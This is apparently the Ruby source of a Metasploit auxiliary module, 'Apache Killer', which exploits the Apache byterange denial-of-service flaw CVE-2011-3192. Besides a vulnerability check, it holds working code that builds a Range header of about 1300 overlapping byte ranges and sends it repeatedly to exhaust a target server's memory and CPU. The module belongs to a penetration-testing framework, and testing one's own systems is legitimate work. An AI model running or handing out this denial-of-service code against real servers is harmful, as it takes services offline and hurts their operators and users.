128 lines
3.4 KiB
Ruby
128 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::WmapScanFile
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Range Header DoS (Apache Killer)',
|
|
'Description' => %q{
|
|
The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
|
|
through 2.2.19 allows remote attackers to cause a denial of service (memory and
|
|
CPU consumption) via a Range header that expresses multiple overlapping ranges,
|
|
exploit called "Apache Killer"
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Kingcope', #original discoverer
|
|
'Masashi Fujiwara', #metasploit module
|
|
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' =>
|
|
[
|
|
['DOS'],
|
|
['CHECK']
|
|
],
|
|
'DefaultAction' => 'DOS',
|
|
'References' =>
|
|
[
|
|
[ 'BID', '49303'],
|
|
[ 'CVE', '2011-3192'],
|
|
[ 'EDB', '17696'],
|
|
[ 'OSVDB', '74721' ],
|
|
],
|
|
'DisclosureDate' => 'Aug 19 2011'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('URI', [ true, "The request URI", '/']),
|
|
OptInt.new('RLIMIT', [ true, "Number of requests to send",50])
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
|
|
case action.name
|
|
when 'DOS'
|
|
conduct_dos()
|
|
|
|
when 'CHECK'
|
|
check_for_dos()
|
|
end
|
|
|
|
end
|
|
|
|
def check_for_dos()
|
|
path = datastore['URI']
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => path,
|
|
'method' => 'HEAD',
|
|
'headers' => {
|
|
"HOST" => "Localhost",
|
|
"Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
|
|
}
|
|
})
|
|
|
|
if (res and res.code == 206)
|
|
print_status("Response was #{res.code}")
|
|
print_status("Found Byte-Range Header DOS at #{path}")
|
|
|
|
report_note(
|
|
:host => rhost,
|
|
:port => rport,
|
|
:data => "Apache Byte-Range DOS at #{path}"
|
|
)
|
|
|
|
else
|
|
print_status("#{rhost} doesn't seem to be vulnerable at #{path}")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
end
|
|
end
|
|
|
|
|
|
def conduct_dos()
|
|
uri = datastore['URI']
|
|
rhost = datastore['RHOST']
|
|
ranges = ''
|
|
for i in (0..1299) do
|
|
ranges += ",5-" + i.to_s
|
|
end
|
|
for x in 1..datastore['RLIMIT']
|
|
begin
|
|
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
|
|
res = send_request_cgi({
|
|
'uri' => uri,
|
|
'method' => 'HEAD',
|
|
'headers' => {
|
|
"HOST" => rhost,
|
|
"Range" => "bytes=0-#{ranges}"}},1)
|
|
|
|
rescue ::Rex::ConnectionRefused
|
|
print_status("Unable to connect to #{rhost}:#{rport}.")
|
|
rescue ::Errno::ECONNRESET
|
|
print_status("DoS packet successful. #{rhost} not responding.")
|
|
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
print_status("Couldn't connect to #{rhost}:#{rport}")
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
end
|
|
end
|
|
end
|
|
end
|